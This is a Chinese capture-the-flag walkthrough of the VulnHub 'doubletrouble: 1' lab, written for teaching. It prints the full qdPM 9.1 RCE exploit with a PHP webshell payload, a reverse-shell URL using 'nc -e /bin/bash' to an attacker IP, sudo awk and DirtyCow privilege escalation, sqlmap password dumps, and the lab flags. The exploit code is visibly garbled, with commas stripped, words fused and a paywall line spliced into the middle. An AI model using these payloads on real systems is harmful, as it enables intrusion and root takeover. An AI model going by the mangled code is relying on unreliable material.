【渗透测试】doubletrouble: 1靶场渗透测试

admin 2025年4月27日13:47:10评论1 views字数 9524阅读31分44秒阅读模式
FOCUS ON US
点击蓝字.关注我们
【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试
01
前言
1.1
 下载安装
下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/

选择镜像文件进行下载。下载后解压是一个ovf文件,在虚拟机中选择-打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。

【渗透测试】doubletrouble: 1靶场渗透测试
1.2
 文件信息
文件名:doubletrouble.ova文件大小:979 MBMD5: F56544B46DC149ECA71F948E9F10772FSHA1: B17C92DF8F73E391AFC90EA583243566DF3381EC
1.3
 注意事项

未探测出IP地址,需要重新配置。

1. 设置虚拟机网络为 NAT 模式在 VMware 中,将 Kali Linux 和 靶机 都设置为 NAT 模式,以确保它们能通过宿主机共享网络连接。2. 启动靶机并进入单用户模式启动靶机,在出现蓝色引导界面时,按下 e 键进入编辑模式(若无法进入编辑模式,长按shift进入引导页面再按e进入)。3. 修改启动参数在编辑界面中,找到并修改启动项,将包含的 ro(只读)修改为 rw(读写),并且在参数末尾添加signie init=/bin/bash,使其进入单用户模式。这样修改后,按下 Ctrl + X 启动系统。4. 查看网络状态进入单用户模式后,使用 ifconfig 命令查看网络状况,发现系统提示 ifconfig 命令不可用。切换使用 ip address 命令来查看网络接口的状态。5. 修改网卡名称发现网络接口的名称为 enp0s3,需要将其修改为 ens33。进入网络配置文件进行修改:nano /etc/network/interfaces(路径记忆方法:/etc 配置文件部分 -> network 部分 -> interfaces 配置文件部分 -> 网络接口部分)6. 保存并退出在nano编辑器中,修改完成后按Ctrl+O键保存,随后按下回车。按Ctrl+x退出编辑器。7. 重启网络服务修改网络配置后,重启网络服务:/etc/init.d/networking restart8. 检查 IP 配置再次使用 ip address 命令查看,确认网络接口已分配到正确的 IP 地址。9. 完成配置并重启系统完成网络配置后,进行系统关机并重启。注意: 必须关机重启,而不是仅仅重启网络服务,因为有些端口可能尚未打开,只有重启系统后,端口才会完全生效。
1.4 靶场目标

获取root权限,共有两个靶机需要提权。第一个靶机中权限提升获得一个OVA文件。下载后使用虚拟机打开后进行渗透测试攻击,获取root权限,共有两个flag。

clapton用户-user.txt:6CEA7A737C7C651F6DA7669109B5FB52clapton@doubletroubleroot用户-root.txt:1B8EEA89EA92CECB931E3CC25AA8DE21firefart@doubletrouble  
03
渗透测试1
3.1
 信息收集

确定IP地址、端口扫描、网站访问、目录扫描、查看图片隐藏信息。

3.1.1 确定IP地址

使用nmap确定该靶场IP地址,地址为:192.168.241.177。

namp -sP 192.168.241.0/24
【渗透测试】doubletrouble: 1靶场渗透测试
3.1.2 端口扫描

使用nmap进行端口扫描,发现其开放22和80端口

22端口开放SSH服务,OpenSSH 7.9p1;80端口开放HTTP服务,Apache httpd 2.4.38。

nmap -sV -v -T4 -A -p192.168.241.177
【渗透测试】doubletrouble: 1靶场渗透测试
3.1.3 网站访问

访问80端口,发现是qdPM登录框,该版本框架为9.1。在之前靶场(ICA:1靶场渗透测试)中遇到过9.2版本的漏洞。

http://192.168.241.177
【渗透测试】doubletrouble: 1靶场渗透测试
3.1.4 目录扫描

经过扫描,发现以下页面等其他页面可以访问。

/backups、/check.php、/images/、/index.php、/install/、readme.txt、/robots.txt、/secret/、/template/
dirsearch -u http://192.168.241.177
【渗透测试】doubletrouble: 1靶场渗透测试

经过逐一访问,发现/secret地址下发现一张图片。

【渗透测试】doubletrouble: 1靶场渗透测试
3.1.5 查看图片隐藏信息

将图片下载到本地,查看图片隐藏信息。

【渗透测试】doubletrouble: 1靶场渗透测试

【steghide info doubletrouble.jpg 】

【渗透测试】doubletrouble: 1靶场渗透测试

发现需要输入密码,那就换隐写爆破工具。

经过爆破,发现了用户名和密码信息。

stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt cat doubletrouble.jpg.out 账密为:  otisrush@localhost.com  otis666  
【渗透测试】doubletrouble: 1靶场渗透测试
3.2
 漏洞利用

查阅kali Linux本地漏洞库、执行脚本反弹shell、创建伪终端。

3.2.1 查阅kali Linux本地漏洞库

在kali Linux本地漏洞库查找可利用漏洞。

这里我们选择qdPM 9.1 - Remote Code Execution (Authenticated)的exp,脚本位置为/usr/share/exploitdb/exploits/php/webapps/50175.py。

searchsploit qdPM
【渗透测试】doubletrouble: 1靶场渗透测试
3.2.2 执行脚本反弹shell
python /usr/share/exploitdb/exploits/php/webapps/50175.py -url http://192.168.241.177 -u otisrush@localhost.com -p otis666
【渗透测试】doubletrouble: 1靶场渗透测试

执行后发现有报错,经过排查,发现是因为部分代码应该是一行,不应该分行。

【渗透测试】doubletrouble: 1靶场渗透测试

对代码多次修改后,最终代码如下:

# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net# Date: 2021-08-03# Original Exploit Author: Rishal Dwivedi (Loginsoft)# Original ExploitDB ID: 47954# Exploit Author: Leon Trappett (thepcn3rd)# Vendor Homepage: http://qdpm.net/# Software Link: http://qdpm.net/download-qdpm-free-project-management# Version: <=1.9.1# Tested on: Ubuntu Server 20.04 (Python 3.9.2)# CVE : CVE-2020-7246# Exploit written in Python 3.9.2# Tested Environment - Ubuntu Server 20.04 LTS# Path Traversal + Remote Code Execution#!/usr/bin/python3import sysimport requestsfrom lxml import htmlfrom argparse import ArgumentParsersession_requests = requests.session()def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):    request_1 = {        'sf_method': (None'put'),        'users[id]': (None, userid[-1]),        'users[photo_preview]': (None, uservar),        'users[_csrf_token]': (None, csrftoken_[-1]),        'users[name]': (None, username[-1]),        'users[new_password]': (None''),        'users[email]': (None, EMAIL),        'extra_fields[9]': (None''),        'users[remove_photo]': (None'1'),        }    return request_1def req(userid, username, csrftoken_, EMAIL, HOSTNAME):    request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,'.htaccess')    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update',files=request_1)    request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,'../.htaccess')    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update',files=request_2)    request_3 = {        'sf_method': (None'put'),        'users[id]': (None, userid[-1]),        'users[photo_preview]': (None''),        'users[_csrf_token]': (None, csrftoken_[-1]),        'users[name]': (None, username[-1]),        'users[new_password]': (None''),        'users[email]': (None, EMAIL),        'extra_fields[9]': (None''),        'users[photo]': ('backdoor.php',                         '<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>' , 'application/octet-stream'),        }    upload_req = session_requests.post(HOSTNAME +'index.php/myAccount/update', files=request_3)def main(HOSTNAME, EMAIL, PASSWORD):    url = HOSTNAME + '/index.php/login'    result = session_requests.get(url)    #print(result.text)    login_tree = html.fromstring(result.text)    authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]    payload = {'login[email]': EMAIL, 'login
		
输入密码查看隐藏内容

'
: PASSWORD, 'login[_csrf_token]': authenticity_token}
    result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))    # The designated admin account does not have a myAccount page    account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')    account_tree = html.fromstring(account_page.content)    userid = account_tree.xpath("//input[@name='users[id]']/@value")    username = account_tree.xpath("//input[@name='users[name]']/@value")    csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")    req(userid, username, csrftoken_, EMAIL, HOSTNAME)    get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')    final_tree = html.fromstring(get_file.content)    backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")    print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' +backdoor[-1] + '?cmd=whoami')if __name__ == '__main__':    print("You are not able to use the designated admin account because they do not have a myAccount page.n")    parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')    parser.add_argument('-url''--host', dest='hostname'help='Project URL')    parser.add_argument('-u''--email', dest='email'help='User email (Any privilege account)')    parser.add_argument('-p''--password', dest='password'help='User password')    args = parser.parse_args()    # Added detection if the arguments are passed and populated, if not display the arguments    if  (len(sys.argv) > 1 and isinstance(args.hostname, strand isinstance(args.email, strand isinstance(args.password, str)):        main(args.hostname, args.email, args.password)    else:        parser.print_help()

执行脚本,文件上传成功,并给出访问地址。

python /usr/share/exploitdb/exploits/php/webapps/50175.py -url http://192.168.241.177 -u otisrush@localhost.com -p otis666http://192.168.241.177//uploads/users/?cmd=whoami
【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试

【渗透测试】doubletrouble: 1靶场渗透测试

访问上传的php文件,执行反弹命令,反弹shell成功。

http://192.168.241.177//uploads/users/669444-backdoor.php?cmd=nc%20-e%20/bin/bash%20192.168.241.138%209876nc -lvvp 9876
【渗透测试】doubletrouble: 1靶场渗透测试
3.2.3 创建伪终端

通过Python启动一个/bin/bash的伪终端。

python3 -c "import pty;pty.spawn('/bin/bash')"
【渗透测试】doubletrouble: 1靶场渗透测试
3.3
 权限提升

使用sudo -l查看权限、命令执行、发现一个虚拟机文件。

3.3.1 使用sudo -l查看权限

使用sudo -l查看该用户是否具有sudo权限,发现awk可以进行无密码使用sudo操作。

sudo -l
【渗透测试】doubletrouble: 1靶场渗透测试
3.3.2 命令执行

在gtfobins.githun.io网站查询awk命令的提权方式进行提权。

【渗透测试】doubletrouble: 1靶场渗透测试

使用以下命令进行提权,提权成功。

sudo awk 'BEGIN {system("/bin/sh")}'
【渗透测试】doubletrouble: 1靶场渗透测试
3.3.3 发现一个虚拟机文件

经过查找,在root用户目录下,发现一个OVA文件,这是一个新的靶机。

【渗透测试】doubletrouble: 1靶场渗透测试
04
渗透测试2

开启临时http服务,下载该靶机到本地。并导入VMware Workstation。

【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试
4.1
 信息收集

确定IP地址、端口扫描、网站访问、目录扫描。

4.1.1 确定IP地址

使用nmap确定该靶场IP地址,地址为:192.168.241.178。

namp -sP 192.168.241.0/24
【渗透测试】doubletrouble: 1靶场渗透测试
4.1.2 端口扫描

使用nmap进行端口扫描,发现只开放了22和80端口

22端口开放SSH服务,OpenSSH 6.0p1;80端口开放HTTP服务,Apache httpd 2.2.22。

nmap -sV -v -T4 -A -p192.168.241.178
【渗透测试】doubletrouble: 1靶场渗透测试
4.1.3 网站访问

访问80端口,发现是一个登录框,查看源码信息并未发现有用信息。

【渗透测试】doubletrouble: 1靶场渗透测试
4.1.4 目录扫描

经过扫描,并未发现什么有用信息。

dirsearch -u http://192.168.241.178
【渗透测试】doubletrouble: 1靶场渗透测试
4.2
 漏洞利用

SQL注入、网站登录、SSH远程连接、获得第一个flag、使用sudo -l查看权限、查看系统信息。

4.2.1 SQL注入

经过排查,就只有一个登录框,而这个登录框相对简陋,我们尝试进行SQL注入。

sqlmap.py -u http://192.168.241.178/index.php -forms --batch --dbs
【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试

得到数据库为:doubletrouble、information_schema。

【渗透测试】doubletrouble: 1靶场渗透测试

继续爆破,得到数据库douletrouble的表名为users。

sqlmap.py -u http://192.168.241.178/index.php -forms --batch -D doubletrouble --tables
【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试

继续爆破,得到users表的列名为:password、username

sqlmap.py -u http://192.168.241.178/index.php -forms --batch -D doubletrouble -T users --columns
【渗透测试】doubletrouble: 1靶场渗透测试

继续爆破,查看看表详细内容,得到两组用户名和密码。

sqlmap.py -u http://192.168.241.178/index.php -forms --batch -D doubletrouble -T users -C username,password --dump
+----------+----------+| username | password |+----------+----------+| montreux | GfsZxc1  || clapton  | ZubZub99 |+----------+----------+
【渗透测试】doubletrouble: 1靶场渗透测试
4.2.2 网站登录

经过尝试,两个用户均无法登录此网站。

【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试
4.2.3 SSH远程连接

经过测试,montreux用户连接失败,clapton用户连接成功,进入终端。

【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试
4.2.4 获得第一个flag
user.txt:6CEA7A737C7C651F6DA7669109B5FB52clapton@doubletrouble
【渗透测试】doubletrouble: 1靶场渗透测试
4.2.5 使用sudo -l查看权限

使用sudo -l查看该用户是否具有sudo权限,直接没有……0!!!

【渗透测试】doubletrouble: 1靶场渗透测试
4.2.6 查看系统信息

发现系统内核版本是Linux3.2,有脏牛提权漏洞。该漏洞影响Linux2.6.22版本至4.6版本的所有Linux系统。

uname -a
【渗透测试】doubletrouble: 1靶场渗透测试
4.3
 权限提升

下载exp、上传文件到靶机、编译执行、切换firefart用户、获得第二个flag。

4.3.1 下载exp
https://github.com/firefart/dirtycow/blob/master/dirty.c

访问该地址,复制文件代码内容,保存到kali Linux。

【渗透测试】doubletrouble: 1靶场渗透测试
4.3.2 上传文件到靶机

开启临时http服务,将该文件上传到靶机。

【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试
4.3.3 编译执行
编译命令:gcc -pthread dirty.c -o dirty  -lcrypt执行命令:./dirty root
【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试
4.3.4 切换firefart用户

切换用户,密码为root。(在上述步骤执行./dirty root命令后,即可看到密码提示为root。)

su firefartroot
【渗透测试】doubletrouble: 1靶场渗透测试
4.3.5 获得第二个flag

切换到root用户目录下,发现第二个flag。

root.txt:1B8EEA89EA92CECB931E3CC25AA8DE21firefart@doubletrouble
【渗透测试】doubletrouble: 1靶场渗透测试
【渗透测试】doubletrouble: 1靶场渗透测试
(
END
)

免责声明

本公众号“暗魂攻防实验室”致力于分享网络安全相关知识及资讯,所有内容仅供学习和交流使用,不得用于任何非法用途。由于传播、利用本公众号“暗魂攻防实验室”所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任!!!

以下为本公众号声明内容,请知悉并遵守:

1.关于信息的准确性

本公众号所发布的信息均来源于公开渠道或作者整理,仅供参考,不保证内容的绝对准确性、完整性和时效性。使用者在依赖相关内容前,应独立核实信息的真实性和适用性。

2.法律与合规性

使用者应严格遵守国家相关法律法规,确保所有操作仅用于合法用途。本公众号明确禁止任何利用内容进行非法活动的行为,由此产生的后果由使用者自行承担,本公众号及作者不承担任何责任。

3.版权声明

本公众号部分内容如引用了他人作品或资源,均已标注来源或作者。如有侵权,请及时联系我们,我们将在核实后立即删除并致以歉意。

4.合法用途限制

本公众号内容仅供参考,任何利用本公众号内容从事违法行为的后果均由使用者自行承担,本公众号及作者对此不承担任何责任。

5.风险告知

因使用或传播本公众号内容导致的直接或间接后果(如系统损坏、数据丢失、法律责任等),均由使用者自行承担。本公众号及作者对此不承担任何责任。

【渗透测试】doubletrouble: 1靶场渗透测试
FINANCE
扫码联系

暗魂攻防实验室

官方客服

往期推荐:

【渗透测试】Dripping Blues: 1靶场渗透测试

【渗透测试】Corrosion: 2靶场渗透测试

【渗透测试】Noob: 1靶场渗透测试

【渗透测试】digitalworld.local: electrical靶场渗透测试

【渗透测试】doubletrouble: 1靶场渗透测试

原文始发于微信公众号(暗魂攻防实验室):【渗透测试】doubletrouble: 1靶场渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月27日13:47:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】doubletrouble: 1靶场渗透测试https://cn-sec.com/archives/4006352.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息